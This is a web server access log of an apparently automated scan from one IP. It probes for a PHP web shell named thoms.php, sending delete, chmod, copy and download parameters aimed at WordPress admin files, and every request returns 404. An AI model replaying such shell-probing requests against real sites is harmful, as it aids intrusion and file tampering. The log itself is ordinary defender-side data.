45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?chmod=theme-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?del=media-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?chmod=network&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?del=admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /ba-guo.com.tw/wp-admin/options-privacy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:52 -0400] "GET /thoms.php?del=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /ba-guo.com.tw/wp-admin/themes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?del=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?del=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /ba-guo.com.tw/wp-admin/my-sites.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /ba-guo.com.tw/wp-admin/users.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?dl=load-styles.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?dl=edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Finstall.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Finstall.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /ba-guo.com.tw/wp-admin/revision.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?del=moderation.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?chmod=maint&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=maint&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Findex.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Findex.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?dl=theme-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?chmod=tools.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /ba-guo.com.tw/wp-admin/link.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?chmod=media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /ba-guo.com.tw/wp-admin/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?chmod=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /ba-guo.com.tw/wp-admin/link-manager.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /ba-guo.com.tw/wp-admin/options-connectors.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?chmod=custom-background.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fexport.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fexport.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /ba-guo.com.tw/wp-admin/options-general.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?del=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fauthorize-application.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fauthorize-application.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-connectors.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-connectors.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?del=term.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=term.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?dl=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?chmod=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?del=user-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?chmod=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /ba-guo.com.tw/wp-admin/menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /ba-guo.com.tw/wp-admin/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /ba-guo.com.tw/wp-admin/theme-install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?del=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /ba-guo.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:55 -0400] "GET /thoms.php?del=options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?dl=site-health.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /ba-guo.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?del=js&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:56 -0400] "GET /thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
